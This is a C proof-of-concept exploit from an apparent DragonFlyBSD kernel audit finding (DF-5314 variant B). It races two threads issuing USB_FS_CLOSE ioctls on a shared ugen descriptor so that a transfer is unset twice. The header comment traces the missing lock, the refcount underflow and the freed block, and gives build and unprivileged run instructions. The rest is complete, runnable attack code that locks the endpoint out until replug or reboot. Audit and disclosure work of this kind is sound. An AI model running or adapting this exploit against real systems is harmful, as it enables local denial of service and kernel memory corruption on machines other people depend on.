⬢ DragonFlyBSD Kernel Audit
DF-5314 / df5314b.c
← back to finding ↓ download raw
/*
 * DF-5314 variant B -- USB_FS_CLOSE x USB_FS_CLOSE double-unsetup on a
 * shared ugen fd (same missing serialization as variant A, deterministic
 * user-visible impact).
 *
 * ugen_ioctl(USB_FS_CLOSE) [sys/bus/u4b/usb_generic.c:1558-1568] calls
 *   usbd_transfer_unsetup(f->fs_xfer + ep_index, 1)
 * with NO lock.  usbd_transfer_unsetup() [usb_transfer.c:1367] READS the
 * slot pointer BEFORE taking the xfer lock:
 *     xfer = pxfer[n_setup];            [usb_transfer.c:1379, no lock]
 *     USB_XFER_LOCK(xfer);
 *     pxfer[n_setup] = NULL;            [usb_transfer.c:1405, under lock]
 * Two concurrent USB_FS_CLOSE ioctls that both read the non-NULL pointer
 * before either NULLs it both run a FULL unsetup on the same xfer:
 *   - xfer->endpoint->refcount_alloc is decremented twice
 *     (usb_transfer.c:1421): 1 -> 0 -> 0xFF (uint8_t underflow);
 *   - info->setup_refcount is decremented twice
 *     (usb_transfer.c:1431): 1 -> 0 (frees) -> 0xFF;
 *   - the second drain touches the block queued for delayed free.
 *
 * Result: the endpoint's refcount_alloc is pinned >= USB_EP_REF_MAX
 * (0x3F), so every later usbd_transfer_setup() fails
 * (usb_transfer.c:1118-1119) -- the endpoint is dead for ALL consumers
 * (ugen ioctl path, read()/write() path, kernel drivers) until
 * re-plug/reboot, while the xfer block itself is freed: an endpoint
 * reference-count underflow plus permanent denial of service.
 *
 * Build:  cc -O -Wall -o df5314b df5314b.c -pthread
 * Run:    ./df5314b          (unprivileged, rw on /dev/usb/0.2.0)
 * Success: "ENDPOINT LOCKED OUT" -- after the double-close lands, a
 * fresh USB_FS_INIT + USB_FS_OPEN fails with ENOMEM forever.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <bus/u4b/usb.h>
#include <bus/u4b/usb_ioctl.h>

#ifndef DEV
#define	DEV	"/dev/usb/0.2.0"
#endif

static int fd;
static pthread_barrier_t bar;
static volatile int stop;

static struct usb_fs_endpoint eps[4];

static void
fs_init(void)
{
	struct usb_fs_init ini;

	memset(&ini, 0, sizeof(ini));
	ini.pEndpoints = eps;
	ini.ep_index_max = 4;
	if (ioctl(fd, USB_FS_INIT, &ini) < 0)
		err(1, "USB_FS_INIT");
}

static int
fs_open(void)
{
	struct usb_fs_open op;

	memset(&op, 0, sizeof(op));
	op.ep_index = 0;
	op.ep_no = 0x00;
	op.max_bufsize = 256;
	op.max_frames = 4;
	return (ioctl(fd, USB_FS_OPEN, &op));
}

static void *
closer(void *arg)
{
	struct usb_fs_close cl;

	memset(&cl, 0, sizeof(cl));
	cl.ep_index = 0;

	while (1) {
		pthread_barrier_wait(&bar);	/* fire together */
		if (stop)
			break;
		ioctl(fd, USB_FS_CLOSE, &cl);
	}
	return (NULL);
}

int
main(void)
{
	pthread_t t0, t1;
	struct usb_fs_uninit un;
	int round, r;

	memset(&un, 0, sizeof(un));

	fd = open(DEV, O_RDWR);
	if (fd < 0)
		err(1, "open %s", DEV);

	fs_init();

	if (pthread_barrier_init(&bar, NULL, 3) != 0)	/* main + 2 closers */
		err(1, "pthread_barrier_init");
	if (pthread_create(&t0, NULL, closer, NULL) != 0 ||
	    pthread_create(&t1, NULL, closer, NULL) != 0)
		err(1, "pthread_create");

	for (round = 1; round <= 5000; round++) {
		/* arm the endpoint again */
		if (fs_open() != 0) {
			struct usb_fs_close cl;

			if (errno != EBUSY) {
				printf("[!] round %d: open failed early: %s\n",
				    round, strerror(errno));
				break;
			}
			/* slot left over from a probe -- tidy and retry */
			memset(&cl, 0, sizeof(cl));
			cl.ep_index = 0;
			ioctl(fd, USB_FS_CLOSE, &cl);
			if (fs_open() != 0) {
				printf("[!] round %d: re-open failed: %s\n",
				    round, strerror(errno));
				break;
			}
		}
		/* both closers fire on the live slot */
		pthread_barrier_wait(&bar);
		usleep(2000);		/* let the closers run first */

		/* mop up in case neither closer won the read race */
		{
			struct usb_fs_close cl;

			memset(&cl, 0, sizeof(cl));
			cl.ep_index = 0;
			ioctl(fd, USB_FS_CLOSE, &cl);
		}
		r = fs_open();
		if (r != 0) {
			stop = 1;
			pthread_barrier_wait(&bar);
			pthread_join(t0, NULL);
			pthread_join(t1, NULL);
			printf("[+] round %d: USB_FS_OPEN now fails: %s\n",
			    round, strerror(errno));
			goto won;
		}
		/* release the probe's open for the next round */
		{
			struct usb_fs_close cl;

			memset(&cl, 0, sizeof(cl));
			cl.ep_index = 0;
			ioctl(fd, USB_FS_CLOSE, &cl);
		}
		if ((round % 100) == 0) {
			printf("[*] round %d\n", round);
			fflush(stdout);
		}
	}
	stop = 1;
	pthread_barrier_wait(&bar);
	pthread_join(t0, NULL);
	pthread_join(t1, NULL);
	printf("SURVIVED 5000 rounds -- double-unsetup not landed\n");
	return (2);

won:
	/* full cleanup, then prove the lockout is permanent */
	for (round = 0; round < 4; round++) {
		struct usb_fs_close cl;

		memset(&cl, 0, sizeof(cl));
		cl.ep_index = round;
		ioctl(fd, USB_FS_CLOSE, &cl);
	}
	if (ioctl(fd, USB_FS_UNINIT, &un) != 0)
		printf("[!] USB_FS_UNINIT: %s\n", strerror(errno));
	fs_init();			/* fresh fs state */
	r = fs_open();
	if (r != 0) {
		printf("POST-CLEANUP USB_FS_OPEN FAILED: %s\n", strerror(errno));
		printf("ENDPOINT LOCKED OUT: refcount_alloc underflowed to "
		    ">= USB_EP_REF_MAX (0x3f); dead for all consumers "
		    "(ugen ioctls, read()/write(), kernel drivers) until "
		    "replug/reboot\n");
		return (0);
	}
	printf("post-cleanup open succeeded?? (no lockout)\n");
	return (1);
}